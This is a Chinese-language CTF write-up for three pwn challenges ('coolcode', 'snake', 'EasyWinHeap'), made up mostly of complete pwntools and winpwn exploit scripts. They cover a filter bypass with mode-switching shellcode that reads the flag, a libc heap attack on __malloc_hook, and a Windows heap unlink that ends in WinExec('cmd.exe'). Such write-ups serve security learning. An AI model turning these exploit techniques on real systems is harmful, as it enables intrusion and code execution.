解题思路综合了wp和比赛时的思路,做了一点简化
这题一开始粗心了,没看见有个逻辑漏洞导致可以绕过可见字符判断,但是在这种情况下sad师傅还是吧shellcode构造出来了,实属牛批…..
if ( (unsigned int)filter_input((__int64)s, num) )// 限制输入内容
{
puts("read error.");
exit(1);
}
signed __int64 __fastcall filter_input(__int64 buf, int len)
{
int i; // [rsp+14h] [rbp-8h]
for ( i = 0; i < len - 1; ++i )
{
if ( (*(_BYTE *)(i + buf) <= 47 || *(_BYTE *)(i + buf) > 57)// 0~9
&& (*(_BYTE *)(i + buf) <= 64 || *(_BYTE *)(i + buf) > 90) )// 大写字母
{
return 1LL; // error
}
}
return 0LL;
}
from pwn import *
p=process("./coolcode")
context.log_level = "debug"
#p=remote("39.107.119.192",9999)
def add(index,content):
p.recvuntil(b"Your choice :")
p.sendline(b"1")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
p.recvuntil(b"messages: ")
p.send(content)
def show(index):
p.recvuntil(b"Your choice :")
p.sendline(b"2")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
def delete(index):
p.recvuntil(b"Your choice :")
p.sendline(b"3")
p.recvuntil(b"Index: ")
p.sendline(str(index).encode())
def exp():
#gdb.attach(p,"b *0x400E61\nc\n")
# no \x00
read_shellcode = '''
xor rdi, rdi;
sub rsi, 0x30
mov rdx, rsi;
xor rax, rax;
syscall;
'''
read_shellcode = asm(read_shellcode, arch="amd64")
add(-22, "\xc3") # exit_got->ret
add(-34, read_shellcode) # write_got
add(0, "CCCCCCCC")
show(0)
shellcode = ""
a = '''
add rcx, 19;
mov rbx, 0x23
SHL rbx, 32;
add rcx, rbx;
push rcx;
retf
mov esp, edx
'''
shellcode += asm(a,arch="amd64");
b = '''
mov eax, 5;
push 0x00006761;
push 0x6c662f2e;
mov ebx, esp;
mov ecx, 0;
int 0x80;
add edx, 0x43;
push 0x33
push edx
retf
'''
shellcode += asm(b,arch="i386");
c = '''
mov rdi, rax;
mov rsi, 0x602100;
mov rdx, 0x40;
mov rax, 0;
syscall;
mov rdi, 1;
mov rsi, 0x602100;
mov rdx, 0x40;
mov rax, 1;
syscall;
'''
shellcode += asm(c,arch="amd64");
p.sendline("\x90"*0xe+shellcode)
show(0)
p.interactive()
if __name__ == "__main__":
exp()
是个趣味题,思路不难,关键是io量太大了,容易卡住…
from pwn import *
import time
p = process("./snake")
context.log_level = "debug"
#p = remote("39.107.244.116",9999)
def add(index,length,name):
p.recvuntil(b"4.start name\n")
p.sendline(b"1")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
p.recvuntil(b"how long?\n")
p.sendline(str(length).encode())
p.recvuntil(b"name?\n")
p.sendline(name)
def delete(index):
p.recvuntil(b"4.start name\n")
p.sendline(b"2")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
def get(index):
p.recvuntil(b"4.start name\n")
p.sendline(b"3")
p.recvuntil(b"index?\n")
p.sendline(str(index).encode())
def start():
p.recvuntil(b"4.start name\n")
p.sendline(b"4")
def play2die():
while(1):
ret = p.recv()
if b"please leave words:\n" in ret:
break
else:
p.send("s")
time.sleep(0.6)
def exp():
p.recvuntil(b"how long?\n")
p.sendline(b"96")
p.recvuntil(b"input name\n")
list_start = 0x603140 #name_ptr_list
name = b"A"*8
p.sendline(name)
play2die()
words = b"123123"
p.sendline(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
add(1,0x60,b"BBBBBBBB")
add(2,0x20,p64(0xf0)+p64(0x21))
start()
play2die()
words = b"A"*(4+0x40) + b"B"*8 + b"\xf1"
p.send(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
delete(0)
delete(1)
start()
p.recv(13)
unsorted_arena = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = unsorted_arena - 0x3C4B20 - 0x58
fake_chunk_start = libc_base + 0x3C4AED
one_gadget = libc_base + 0xf1147
malloc_hook = libc_base + 0x3c4b10
print("unsorted_arena",hex(unsorted_arena))
print("libc_base",hex(libc_base))
print("fake_chunk_start",hex(fake_chunk_start))
print("one_gadget",hex(one_gadget))
print("malloc_hook",hex(malloc_hook))
play2die()
words = b"123123"
p.sendline(words)
p.recvuntil(b"if you want to exit?\n")
p.sendline(b"n")
add(0,0x50,b"AAAAAAAA")
add(1,0x20,p64(0)+p64(0x71)+p64(fake_chunk_start))
add(3,0x60,b"DDDDDDDD")
add(4,0x60,b"A"*0x13+p64(one_gadget))
print("one_gadget",hex(one_gadget))
print("malloc_hook",hex(malloc_hook))
p.recvuntil(b"4.start name\n")
p.sendline(b"1")
p.recvuntil(b"index?\n")
p.sendline(str(5).encode())
p.recvuntil(b"how long?\n")
p.sendline(str(16).encode())
p.interactive()
if __name__ == "__main__":
exp()
这题比赛的时候没做…比赛结束后搭建了好久的winpwn环境,然后向sad学习了一下windbg的调试。
关于windows的很多机制,之前没了解过,大部分来自于网上一点点的资料,还有《程序员的自我修养》。所以讲不了很详细,如果哪位师傅有详细的win堆管理机制学习资料劳烦嫖一份~
程序逻辑不复杂,甚至存在很多漏洞
puts函数指针 | ((size>>4)+1)
之后和堆指针
一起放置在堆上。然后在show的时候通过&0xFFFFFFF0
运算还原函数指针,然后puts堆上内容。(其实调试的时候发现函数指针最低位的变化不用考虑,应该只是做混淆)
附:堆上指针保存位置0:004> dd 0x1270490 0x1270600
01270490 b1dc07df 080013cd 00011048
01270520 012704a0 00011048 01270530
00011048 01270540 012704b0 00011048
01270550 00011048 01270560 012704c0
00011048 01270570 00000000 00000000
(size>>4)+1
,但是edit的时候却是按照size长度来输入。明显存在堆溢出。01270510 00000000 00000000 a2dc07cc
0800134e 01270520 012700c0 012700c0
a2dc07cc 0800135d 01270530 012700c0
012700c0 a3dd07cc 0000135d 01270540
01270580 01270560 a2dc07cc 0800135d
01270550 012700c0 012700c0 a3dd07cc
0000135d 01270560 01270540 012700c0
a2dc07cc 0800135d 01270570 012700c0
012700c0 efdd0483 0000135d 01270580
012700c0 01270540 00000000 00000000
01270590 00000000 00000000 00000000
00000000
from winpwn import *
context.arch='i386'
#context.log_level='debug'
context.windbg="C:\\Program Files\\WindowsApps\\Microsoft.WinDbg_1.2001.2001.0_neutral__8wekyb3d8bbwe\\DbgX.Shell.exe"
p=process("./EasyWinHeap.exe")
#windbg.attach(p)
def add(size):
p.recvuntil("option >")
p.sendline("1")
p.sendline(str(size))
def free(index):
p.recvuntil("option >")
p.sendline("2")
p.recvuntil("index >")
p.sendline(str(index))
def show(index):
p.recvuntil("option >")
p.sendline("3")
p.recvuntil("index >")
p.sendline(str(index))
def edit(index,content):
p.recvuntil("option >")
p.sendline("4")
p.recvuntil("index >")
p.sendline(str(index))
p.recvuntil("content >")
p.sendline(content)
add(0x70) #idx0
add(0x70) #idx1
add(0x70) #idx2
add(0x70) #idx3
add(0x70) #idx4
add(0x70) #idx5
#windbg.attach(p)
free(2)
free(4)
#windbg.attach(p)
show(2) #过滤换行
p.recvuntil("\r\n")
ret = p.recvuntil("\r\n")
print("len(ret):",len(ret))
heap_base = u32(ret[:4]) - 0x580
idx2pptr = heap_base + 0x4a0 + 0x4*3 #0x4ac
print("heap_base:", hex(heap_base)) #泄露堆地址
print("idx2pptr:", hex(idx2pptr))
#伪造指针
#这里的ret[8:12]就是上一步额外泄露的内容,目的是修补堆块
edit(2, p32(idx2pptr-0x4)+p32(idx2pptr)+ret[8:12])
#windbg.attach(p)
#dd 0x1270490 0x1270600
#unlink
free(1)
#leak image_base & winexec/system
edit(2, p32(idx2pptr+0x10))
#windbg.attach(p)
show(2)
p.recvuntil("\r\n") #过滤换行
p.recv(4)
image_leak = u32(p.recv(3).ljust(4,"\x00"))
image_base = image_leak - 0x1048
idata_heapfree = image_base + 0x2004
print("image_leak:", hex(image_leak))
print("image_base:", hex(image_base))
print("idata_heapfree:", hex(idata_heapfree))
edit(2, p32(idata_heapfree))
#windbg.attach(p)
show(4)
p.recvuntil("\r\n") #过滤换行
heapfree = u32(p.recv(4))
winexec = heapfree - 0x11D10 + 0x5EA90
print("puts:", hex(heapfree))
print("winexec:", hex(winexec))
edit(3, "cmd.exe")
edit(2, p32(idx2pptr+0x4))
edit(4, p32(winexec)+p32(heap_base+0x550))
#windbg.attach(p)
p.recvuntil("option >")
p.sendline("3")
p.interactive()
注意该exp对堆地址字节数有限制(4字节),所以有时要多跑几遍。